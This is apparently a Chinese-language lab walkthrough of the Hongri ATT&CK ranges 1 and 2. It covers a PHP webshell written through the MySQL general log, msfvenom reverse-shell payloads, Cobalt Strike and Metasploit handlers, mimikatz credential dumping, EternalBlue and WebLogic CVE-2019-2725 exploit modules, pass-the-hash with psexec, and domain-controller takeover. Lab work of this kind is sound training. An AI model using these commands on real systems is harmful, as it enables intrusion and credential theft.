红日1-2

红日靶场1-2复现

红日靶场1

初始的密码都是:hongrisec@2019,我登陆时有的机器会提示我密码过期,更改密码即可。

win7:hongrisec@2019

win2008:yyb167111@

win2k3:yyb167111@

1
2
3
4
win2003				192.168.52.141
windows2008 192.168.52.138
win7 192.168.52.143/192.168.92.130(外网)
kali 192.168.92.129

根据前期的搭建,我们开启了win7的web服务,并且相互都ping通了,这是网上到处都有的对于各机器之间的关联拓扑图

1.外网边界突破

信息搜集

老规矩,首先使用nmap扫描一下端口

1
nmap -A -p- 192.168.204.128

可以看到,80端口开放了http服务,3306端口开放了mysql服务

先访问80端口看看

再使用diresearch扫一下目录

发现有myadmin,应该是数据库面板登录界面,猜测是弱口令,直接root/root进行登录

直接进入了后台

MYSQL进行getshell

写文件getshell

先看是否额可以写入文件

1
show global variables like '%secure%'

为NULL不可写入文件
要想修改 Value值 只能通过配置文件 mysql.ini 修改
放弃

日志文件getshell

查看日志功能是否开启

1
show global variables like '%general%'

可以看到是没有开启的,下面就用命令开启日志功能

1
set global general_log='ON'

开启后将日志文件的存储位置改为可访问到的目录, 根目录即可

1
set global  general_log_file = 'C:/phpStudy/WWW/1.php'

执行下边一句话木马 数据库将会将查询语句保存在日志文件中

1
SELECT '<?php @eval($_POST["cmd"]); ?>'

接下来访问日志文件用后门密码连接即可(日志文件刚刚已经被我们改写为了根目录下的1.php文件)

连接成功

yxcms后台上传getshell(另一种getshell的方法)

前面我们蚁剑连接shell登录进去之后发现yxcms,访问/yxcms

在公告里面发现了可以登录的账号信息

成功登录后台

既然登录到了后台,常见的就是找一下有没有模板编辑的地方,尝试写入一句话木马,或者写入日志文件

这里刚好找到了可以编辑模板的地方,进行写入一句话木马

在后台里进行查找,发现模板文件都被存放在**/yxcms/protected/apps/default/view/default/**

用蚁剑连接我们在yxcms里上传上去的木马,可以成功连接到后台

2.内网信息探测

cs上线

1
./teamserver 192.168.10.129 123456

我是将.exe文件放在windows下的,所以直接点击运行就行,但是有的小伙伴下载的ConbaltStrike只放在了kali下,使用命令来开启客户端

1
./start.sh

登录密码就和kali里面所输的密码一样就是123456,登录之后进入客户端

出现上面这个界面就是连接成功了

接下来配置好listener也就是监听器之后,就可以生成.exe攻击文件了

将生成的.exe文件上传到我们蚁剑连接的后台

然后在虚拟终端执行该文件

这样就表示上线成功

右键点击上线目标选择会话交互,在下方命令输入处输入命令来使用mimikatz抓取密码

1
logonpasswords

可以看到成功抓取到管理员登录密码为yyb167111@

然后在会话里执行net view点击下方所勾选的图案就可以看到域内其他的两台机器

域内信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

1.先判断是否存在域,有两种方法, 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

在cobaltstrike的交互式界面输入命令

1
shell ipconfig /all
1
net config workstation

来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

从以上的操作可以得知域的名称是.god.org

2.当前登录域为 GOD ,然后再执行net view /domain查看有几个域(可能有多个)

3.使用net group /domain查看组用户(组账户信息)

4.确认域控主机的名字

既然只有一个域,那就 net group “domain controllers” /domain查看域控主机的名称

可以确认是OWA

5.查看域内其他主机的信息

确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)

到这里的域内信息搜集就结束了

1
2
域控主机:192.168.52.138(OWA)
域内主机:192.168.52.141(ROOT-TVI862UBEH)

3.rdp远程登录win7

由于rdp协议默认端口是3389。但是win7是默认不开放3389端口的,同时防火墙也需要关闭

1
2
#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用远程登录

遇到提问证书的直接跳过就行

这样就表示远程连接成功

如果MSF 中有Win7 的 Shell,只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面

4.内网渗透

CS派生会话给MSF

1.MSF开启监听
1
2
3
4
5
6
msfconsole # 启动MSF框架
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.236.128
set lport 1111
exploit
2.CS派生会话

首先新建一个监听器(这里端口填错了,应该和MSF的一样,填为1111)

然后在需要新建会话的那里右键点击新建会话,并选择我们最新创建的监听器

按理来说我们的MSF那边就该收到一个session会话(但是没有)

msf上线

CS执行失败,我们换一种方式来让MSF上线

1
2
3
4
5
6
7
8
9
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.129  LPORT=1111 -f exe -o shell.exe #kali里生成msf后门文件 shell.exe
蚁剑上传到 win7上
kali里运行监听
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.92.129
set lport 1111
exploit

蚁剑运行 shell.exe 得到meterpreter

这样就表示上线成功

msf简单利用

1.

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐):

1
run post/windows/gather/checkvm

这样的回显就表示此上线机器是一台虚拟机

2.

再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序:

1
run post/windows/gather/enum_applications

添加路由

1
2
3
4
5
6
# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p

内网端口扫描

先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

1
2
3
4
5
background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run

可以看到打开了135、139、445三个端口

同理,扫描一下域控主机

1
2
set rhosts 192.168.52.143
set ports 80,135-139,445,3306,3389

域控主机开启了80、445、135、139、3306、3389端口

5.msf对永恒之蓝漏洞进行攻击

探测

1
2
3
4
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141/192.168.52.138
run

可以看出,域控和域成员机器都可能存在永恒之蓝漏洞

漏洞利用

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.52.138
run

可以看到是并没有拿到shell的。

6.哈希传递攻击拿下域控

上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

  1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
  2. 通过哈希传递攻击尝试登录其他主机;
  3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

下面使用 Metasploit/CS 来进行本靶场环境的进行 PTH 攻击演示:

CS哈希传递攻击利用

前面我们也有提到过,在win7 上线CS时,我们可以右键会话 ->执行 -> Run Mimikatz
直接借助 CS 进行用户哈希凭证窃取

1
logonpasswords

可以看到成功抓取到管理员登录密码为yyb167111@

然后在会话里执行net view点击下方所勾选的图案就可以看到域内其他的两台机器

右键点击其中一台域内机器,选择横向代理的psexec进行login,新建一个监听器,监听器payload,就选Beancon SMB,然后其他的和监听器设置一样

这样就算横向移动成功了。

点击文件浏览可以看到文件,进行文件上传操作等等

1
shell systeminfo

成功拿下域控

msf哈希传递工具

1
run windows/gather/smart_hashdump 来进行hashdump

在倒数第二行可以看到时需要system权限的

需要SYSTEM权限,我们直接getsystem 发现可以正常提权
提到SYSTEM权限之后再执行 run windows/gather/smart_hashdump

得到管理员的密码的hash

1
2
[+] 	Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

但是这个只是用户密码的一个hash值,我们在msf里加载mimikatz模块
ps:ms6中 mimikatz模块已经合并为kiwi模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
load kiwi

creds_all #列举所有凭据
creds_kerberos #列举所有kerberos凭据
creds_msv #列举所有msv凭据
creds_ssp #列举所有ssp凭据
creds_tspkg #列举所有tspkg凭据
creds_wdigest #列举所有wdigest凭据
dcsync #通过DCSync检索用户帐户信息
dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create #创建黄金票据
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
kerberos_ticket_use #使用kerberos票据
kiwi_cmd #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam #dump出lsa的SAM
lsa_dump_secrets #dump出lsa的密文
password_change #修改密码
wifi_list #列出当前用户的wifi配置文件
wifi_list_shared #列出共享wifi配置文件/编码

抓取一下用户哈希凭证,报错说 mimikatz在x64用不了。。。 不知道怎么解决 卡住了

根据这张图片获得 NTLM Hash:8da5b9365830238e064c67c6f7db9dc4,在 Metasploit 中,经常使用于哈希传递攻击的模块有:

1
2
3
auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec #用psexec执行系统命令
exploit/windows/smb/psexec_psh #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

1
2
3
4
5
6
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:8da5b9365830238e064c67c6f7db9dc4
set smbdomain god
run

没有成功

1
注:本文中用到过多次横向代理,包括最后的cs哈希传递攻击也用到了,但是用到哈希是在我们用psexec配置监听器时选择的密码那里,不同的密码选择会连接到不同的域内机

红日靶场2

1.环境搭建

环境搭建推荐观看b站的靶场搭建视频:【红日ATT&CK系列靶场(二)搭建】https://www.bilibili.com/video/BV1De4y1a7Ps?vd_source=3af9e69df1b8437340d7ae027cbfe38f

默认密码:

1
2
1qaz@WSX
web机器要求更改密码,我们更改密码为符合要求的

配置好后记一下各靶机的IP地址:

1
2
3
4
DC				10.10.10.10
PC 10.10.10.201/192.168.111.201
web 10.10.10.80/192.168.111.80
kali 192.168.111.128

靶场的网络拓扑图如下:

2.外网边界突破

信息搜集

先扫一下web边界服务器

1
nmap -sV 192.168.111.80

端口开启可能存在的服务:

1.445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。

2.开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞。
3.放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。

4.开放7001端口可能存在Weblogic反序列化漏洞。

再扫一下PC机:

1
nmap -sV 192.168.111.201

漏洞扫描

awvs

用awvs扫描一下开放了80端口的web机器

工具下载安装教程:如何在 Kali Linux 上安装 AWVS? - 知乎 (zhihu.com)

扫描完成,发现了一个weblogic服务器端的ssrf漏洞,点进去看一下漏洞介绍,发现涉及到CVE-2014-4242、CVE-2014-4241、CVE-2014-4210

在网上搜索一下weblogic的服务端请求伪造漏洞,在复现文章中得知问题存在路径如下:

1
http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp

接下来打开我们的bp,点击search进行抓包

这里通过对网上复现文章的阅读,得知可以进行端口探测,这里的参数operator我们是可控的,当我们输入不同值时可得到多种不同的报错

1
2
3
4
1.端口存在返回状态码  returned a 404 error code 
2.端口不存在 but could not connect over HTTP to server
3.非http协议 did not have a valid SOAP content-type
4.协议没写 no protocol

例如
当我们访问一个不存在的端口时,比如 http://127.0.0.1:1234
将会返回:could not connect over HTTP to server

对于这个weblogic的ssrf所涉及到的CVE讲解,可以参考如下文章:

Weblogic SSRF漏洞(CVE-2014-4210)_维梓梓的博客-CSDN博客

weblogicscan
1
python WeblogicScan.py 192.168.111.80 7001

虽然awvs扫描出来一个ssrf的高危,但是似乎没什么用,我们再使用专门针对weblogic的扫描器扫描一波:

可以看到目标网站存在CVE-2019-2725、CVE-2019-2729,这两个是针对不同版本的weblogic的反序列化漏洞

漏洞利用

我们知道了这个CVE,就用msf对这个CVE进行攻击:CVE-2019-2725

1
2
msfconsole
search CVE-2019-2725

只发现了一个payload

1
2
3
4
5
6
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
show options 查看一些参数
set rhosts 192.168.111.80
set lhost 192.168.111.128
set target 1
run

不知道为什么,之前都不行,后面试了一下就成功了

拿到shell,尝试进行提权

1
2
getuid
getsystem

提权失败

3.内网渗透

MSF派生CS

1
./teamserver 192.168.111.128 123456

开启客户端界面,成功连接之后创建一个监听器,payload设为Beacon HTTP

在msf进行如下操作:

1
2
3
4
5
6
7
8
background										我们之前的meterprete的session id为1
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128
set lport 12345
set session 1 要和之前的meterprete的session id相同,否则会显示会话参数错误
run

所设端口要和我们监听器的端口一样

成功执行之后返回CS中查看

可以看到CS成功上线

点击权限提升,就使用我们之前创建的监听器,提权方式就使用他默认选择的svc-exe就行

提权成功,权限成功提升为system

域内信息搜集

1
shell ipconfig /all
1
shell net user /domain	#查看域控
1
shell net group "domain computers" /domain  # 查看域中的其他主机名

分别ping一下DC和PC,可以解析出主机ip地址

1
2
DC 10.10.10.10
PC 10.10.10.201

ping不通PC机可能是因为被防火墙的主机拦截了。

横向移动

尝试进行psexec横向移动到域控

先抓取密码:logonpasswords

首先新建一个监听器

对目标10.10.10.10(DC)进行横向移动
设置psexec

这个密码的选择就是我们上一步所抓取到的密码

DC主机成功上线

到这里就已经拿下域控了